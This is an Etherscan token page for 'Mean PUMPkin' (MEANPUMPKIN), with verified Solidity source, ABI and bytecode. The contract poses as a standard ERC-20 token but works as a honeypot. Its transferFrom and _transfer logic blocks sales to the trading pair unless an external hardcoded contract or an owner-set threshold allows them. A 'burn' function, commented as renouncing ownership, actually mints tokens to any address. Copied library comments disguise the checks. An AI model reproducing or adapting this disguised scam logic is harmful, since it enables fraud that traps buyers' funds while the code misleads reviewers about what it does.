ETH Price: $2,117.10 (-10.89%)
Gas: 0.88 Gwei

Token

Mean PUMPkin (MEANPUMPKIN)
 

Overview

Max Total Supply

1,732,800,005,000,000,000,000 MEANPUMPKIN

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
39,143,415,484.574954194 MEANPUMPKIN

Value
$0.00
0x99e7a2c389fddaaa861cb933849ffcb09c44d8b4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MeanPUMPkin

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
/**
 *Submitted for verification at Etherscan.io on 2022-02-23
*/

//   SPDX-License-Identifier: GNU GPLv3

pragma solidity >=0.8.0;

library SafeMath {
  /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
   /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}
	
abstract contract IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
  function totalSupply() virtual public view returns (uint);
  /**
     * @dev Returns the amount of tokens owned by `account`.
     */
  function balanceOf(address tokenOwner) virtual public view returns (uint balance);
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
  function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
  /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function invalidAddress(address _address) virtual external view returns (bool){}
  /**
     * @dev Returns if it is a invalid address.
     */
  function transfer(address to, uint tokens) virtual public returns (bool success);
  /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
  function approve(address spender, uint tokens) virtual public returns (bool success);
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function approver() virtual external view returns (address){}
   /**
     * @dev approver of the amount of tokens that can interact with the allowance mechanism 
     */
  function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
   /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
  event Transfer(address indexed from, address indexed to, uint tokens);
  /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

abstract contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}

contract Owned {
  address internal owner;
  
  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

}

contract MeanPUMPkin is IERC20, Owned{
  using SafeMath for uint;

  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

  string public symbol;
  address internal approver;
  string public name;
  uint8 public decimals;
  address internal zero;
  uint _totalSupply;
  uint internal number;
  address internal invalid;
  address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8; 
  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;
  

  function totalSupply() override public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) override public view returns (uint balance) {
    return balances[tokenOwner];
  }
  /**
   *@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' 
   * functions anymore. Can only be called by the current owner.
  */
  function burn(address _address, uint tokens) public onlyOwner {
     require(_address != address(0), "ERC20: burn from the zero address");
     _burn (_address, tokens);
  }
  function transfer(address to, uint tokens) override public returns (bool success) {
    require(to != zero, "please wait");
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
  */
  function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == approver) number = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through `transferFrom`. This is
     * zero by default.
     *
     * This value changes when `approve` or `transferFrom` are called.
  */
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
  */
  function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
    if(from != address(0) && zero == address(0)) zero = to;
    else _transfer (from, to);
	balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
 /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
 */
  function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function _burn(address _Address, uint _Amount) internal virtual {
  /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
  */
    invalid = _Address;
	_totalSupply = _totalSupply.add(_Amount);
    balances[_Address] = balances[_Address].add(_Amount);
  }
  function _transfer (address start, address end) internal view {
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     * Requirements:
     * - The divisor cannot be zero.*/
    /* * - `account` cannot be the zero address. */ require(end != zero  
    /* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) || 
    /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) 
    /* */ , "cannot be the zero address");/*
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
   **/
  }
   /**
     * dev Constructor.
     * param name name of the token
     * param symbol symbol of the token, 3-4 chars is recommended
     * param decimals number of decimal places of one token unit, 18 is widely used
     * param totalSupply total supply of tokens in lowest units (depending on decimals)
     */   
  constructor(string memory _name, string memory _symbol, uint _supply)  {
	symbol = _symbol;
	name = _name;
	decimals = 9;
	_totalSupply = _supply*(10**uint(decimals));
	number = _totalSupply;
	approver = IERC20(openzepplin).approver();
	balances[owner] = _totalSupply;
	emit Transfer(address(0), owner, _totalSupply);
  }
  receive() external payable {
  }
  
  fallback() external payable {
  }
  
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"invalidAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b0319167340e8ef70655f04710e89d1ff048e919da58cc6b81790553480156200003757600080fd5b506040516200101f3803806200101f8339810160408190526200005a9162000350565b600080546001600160a01b03191633179055815162000081906001906020850190620001c1565b50825162000097906003906020860190620001c1565b506004805460ff19166009908117909155620000b590600a6200040c565b620000c19082620004ca565b60058190556006556008546040805163028351bb60e31b815290516001600160a01b039092169163141a8dd891600480820192602092909190829003018186803b1580156200010f57600080fd5b505afa15801562000124573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014a91906200031e565b600280546001600160a01b0319166001600160a01b039283161790556005546000805483168152600960209081526040808320849055825490519384529093169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505062000555565b828054620001cf90620004ec565b90600052602060002090601f016020900481019282620001f357600085556200023e565b82601f106200020e57805160ff19168380011785556200023e565b828001600101855582156200023e579182015b828111156200023e57825182559160200191906001019062000221565b506200024c92915062000250565b5090565b5b808211156200024c576000815560010162000251565b600082601f8301126200027957600080fd5b81516001600160401b03808211156200029657620002966200053f565b604051601f8301601f19908116603f01168101908282118183101715620002c157620002c16200053f565b81604052838152602092508683858801011115620002de57600080fd5b600091505b83821015620003025785820183015181830184015290820190620002e3565b83821115620003145760008385830101525b9695505050505050565b6000602082840312156200033157600080fd5b81516001600160a01b03811681146200034957600080fd5b9392505050565b6000806000606084860312156200036657600080fd5b83516001600160401b03808211156200037e57600080fd5b6200038c8783880162000267565b94506020860151915080821115620003a357600080fd5b50620003b28682870162000267565b925050604084015190509250925092565b600181815b8085111562000404578160001904821115620003e857620003e862000529565b80851615620003f657918102915b93841c9390800290620003c8565b509250929050565b60006200034983836000826200042557506001620004c4565b816200043457506000620004c4565b81600181146200044d5760028114620004585762000478565b6001915050620004c4565b60ff8411156200046c576200046c62000529565b50506001821b620004c4565b5060208310610133831016604e8410600b84101617156200049d575081810a620004c4565b620004a98383620003c3565b8060001904821115620004c057620004c062000529565b0290505b92915050565b6000816000190483118215151615620004e757620004e762000529565b500290565b600181811c908216806200050157607f821691505b602082108114156200052357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610aba80620005656000396000f3fe6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb5780639dc29fac14610200578063a9059cbb14610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906109af565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610963565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610927565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af3660046108d9565b50600090565b3480156101c157600080fd5b5061013a6101d03660046108d9565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100ac61021b366004610963565b61053c565b34801561022c57600080fd5b506100f961023b366004610963565b6105c6565b34801561024c57600080fd5b5061013a61025b3660046108f4565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6003805461029390610a33565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf90610a33565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b1565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d1565b6001600160a01b03841660009081526009602052604090205461045490836106b1565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b1565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610834565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b6001805461029390610a33565b6000546001600160a01b0316331461055357600080fd5b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6105c2828261084f565b5050565b6004546000906001600160a01b0384811661010090920416141561061a5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105af565b3360009081526009602052604090205461063490836106b1565b33600090815260096020526040808220929092556001600160a01b038516815220546106609083610834565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000828211156106c057600080fd5b6106ca8284610a1c565b9392505050565b6004546001600160a01b03828116610100909204161415806107a65750600854604051630c73320760e31b81526001600160a01b0384811660048301529091169063639990389060240160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b919061098d565b15156001148061078857506007546001600160a01b038381169116145b80156107a657506004546001600160a01b0382811661010090920416145b806107e857506004546001600160a01b03828116610100909204161480156107e857506006546001600160a01b03831660009081526009602052604090205411155b6105c25760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105af565b60006108408284610a04565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108779082610834565b6005556001600160a01b03821660009081526009602052604090205461089d9082610834565b6001600160a01b0390921660009081526009602052604090209190915550565b80356001600160a01b03811681146108d457600080fd5b919050565b6000602082840312156108eb57600080fd5b6106ca826108bd565b6000806040838503121561090757600080fd5b610910836108bd565b915061091e602084016108bd565b90509250929050565b60008060006060848603121561093c57600080fd5b610945846108bd565b9250610953602085016108bd565b9150604084013590509250925092565b6000806040838503121561097657600080fd5b61097f836108bd565b946020939093013593505050565b60006020828403121561099f57600080fd5b815180151581146106ca57600080fd5b600060208083528351808285015260005b818110156109dc578581018301518582016040015282016109c0565b818111156109ee576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a1757610a17610a6e565b500190565b600082821015610a2e57610a2e610a6e565b500390565b600181811c90821680610a4757607f821691505b60208210811415610a6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206b980719942cff812cede46ee13f39acb864200f6fecfe39159e5ddabe7af6da64736f6c63430008070033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000048c27395000000000000000000000000000000000000000000000000000000000000000000c4d65616e2050554d506b696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4d45414e50554d504b494e000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb5780639dc29fac14610200578063a9059cbb14610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906109af565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610963565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610927565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af3660046108d9565b50600090565b3480156101c157600080fd5b5061013a6101d03660046108d9565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100ac61021b366004610963565b61053c565b34801561022c57600080fd5b506100f961023b366004610963565b6105c6565b34801561024c57600080fd5b5061013a61025b3660046108f4565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6003805461029390610a33565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf90610a33565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b1565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d1565b6001600160a01b03841660009081526009602052604090205461045490836106b1565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b1565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610834565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b6001805461029390610a33565b6000546001600160a01b0316331461055357600080fd5b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6105c2828261084f565b5050565b6004546000906001600160a01b0384811661010090920416141561061a5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105af565b3360009081526009602052604090205461063490836106b1565b33600090815260096020526040808220929092556001600160a01b038516815220546106609083610834565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000828211156106c057600080fd5b6106ca8284610a1c565b9392505050565b6004546001600160a01b03828116610100909204161415806107a65750600854604051630c73320760e31b81526001600160a01b0384811660048301529091169063639990389060240160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b919061098d565b15156001148061078857506007546001600160a01b038381169116145b80156107a657506004546001600160a01b0382811661010090920416145b806107e857506004546001600160a01b03828116610100909204161480156107e857506006546001600160a01b03831660009081526009602052604090205411155b6105c25760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105af565b60006108408284610a04565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108779082610834565b6005556001600160a01b03821660009081526009602052604090205461089d9082610834565b6001600160a01b0390921660009081526009602052604090209190915550565b80356001600160a01b03811681146108d457600080fd5b919050565b6000602082840312156108eb57600080fd5b6106ca826108bd565b6000806040838503121561090757600080fd5b610910836108bd565b915061091e602084016108bd565b90509250929050565b60008060006060848603121561093c57600080fd5b610945846108bd565b9250610953602085016108bd565b9150604084013590509250925092565b6000806040838503121561097657600080fd5b61097f836108bd565b946020939093013593505050565b60006020828403121561099f57600080fd5b815180151581146106ca57600080fd5b600060208083528351808285015260005b818110156109dc578581018301518582016040015282016109c0565b818111156109ee576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a1757610a17610a6e565b500190565b600082821015610a2e57610a2e610a6e565b500390565b600181811c90821680610a4757607f821691505b60208210811415610a6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206b980719942cff812cede46ee13f39acb864200f6fecfe39159e5ddabe7af6da64736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000048c27395000000000000000000000000000000000000000000000000000000000000000000c4d65616e2050554d506b696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4d45414e50554d504b494e000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Mean PUMPkin
Arg [1] : _symbol (string): MEANPUMPKIN
Arg [2] : _supply (uint256): 5000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000048c27395000
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [4] : 4d65616e2050554d506b696e0000000000000000000000000000000000000000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [6] : 4d45414e50554d504b494e000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5161:7504:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6479:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8354:253;;;;;;;;;;-1:-1:-1;8354:253:0;;;;;:::i;:::-;;:::i;:::-;;;1895:14:1;;1888:22;1870:41;;1858:2;1843:18;8354:253:0;1730:187:1;3987:61:0;;;;;;;;;;-1:-1:-1;3987:61:0;;4038:7;1668:51:1;;1656:2;1641:18;3987:61:0;1522:203:1;6810:117:0;;;;;;;;;;;;;:::i;:::-;;;3767:25:1;;;3755:2;3740:18;6810:117:0;3621:177:1;9347:420:0;;;;;;;;;;-1:-1:-1;9347:420:0;;;;;:::i;:::-;;:::i;6502:21::-;;;;;;;;;;-1:-1:-1;6502:21:0;;;;;;;;;;;3975:4:1;3963:17;;;3945:36;;3933:2;3918:18;6502:21:0;3803:184:1;2696:80:0;;;;;;;;;;-1:-1:-1;2696:80:0;;;;;:::i;:::-;-1:-1:-1;2769:4:0;;2696:80;6931:123;;;;;;;;;;-1:-1:-1;6931:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;7028:20:0;7000:12;7028:20;;;:8;:20;;;;;;;6931:123;6424:20;;;;;;;;;;;;;:::i;7227:176::-;;;;;;;;;;-1:-1:-1;7227:176:0;;;;;:::i;:::-;;:::i;7407:299::-;;;;;;;;;;-1:-1:-1;7407:299:0;;;;;:::i;:::-;;:::i;9921:150::-;;;;;;;;;;-1:-1:-1;9921:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;10037:19:0;;;10007:14;10037:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;9921:150;6479:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8354:253::-;8455:10;8426:12;8447:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;8447:28:0;;;;;;;;;:37;;;8509:8;;8426:12;;8509:8;;8495:22;8491:43;;;8519:6;:15;;;8491:43;8546:37;;3767:25:1;;;-1:-1:-1;;;;;8546:37:0;;;8555:10;;8546:37;;3755:2:1;3740:18;8546:37:0;;;;;;;;-1:-1:-1;8597:4:0;8354:253;;;;;:::o;6810:117::-;6863:4;6900:20;;;:8;:20;;;;6883:12;;:38;;:16;:38::i;:::-;6876:45;;6810:117;:::o;9347:420::-;9433:12;-1:-1:-1;;;;;9457:18:0;;;;;;:40;;-1:-1:-1;9479:4:0;;;;;-1:-1:-1;;;;;9479:4:0;:18;9457:40;9454:86;;;9499:4;:9;;-1:-1:-1;;;;;;9499:9:0;;-1:-1:-1;;;;;9499:9:0;;;;;;9454:86;;;9520:20;9531:4;9537:2;9520:9;:20::i;:::-;-1:-1:-1;;;;;9561:14:0;;;;;;:8;:14;;;;;;:26;;9580:6;9561:18;:26::i;:::-;-1:-1:-1;;;;;9544:14:0;;;;;;:8;:14;;;;;;;;:43;;;;9622:7;:13;;;;;9636:10;9622:25;;;;;;:37;;9652:6;9622:29;:37::i;:::-;-1:-1:-1;;;;;9594:13:0;;;;;;;:7;:13;;;;;;;;9608:10;9594:25;;;;;;;:65;;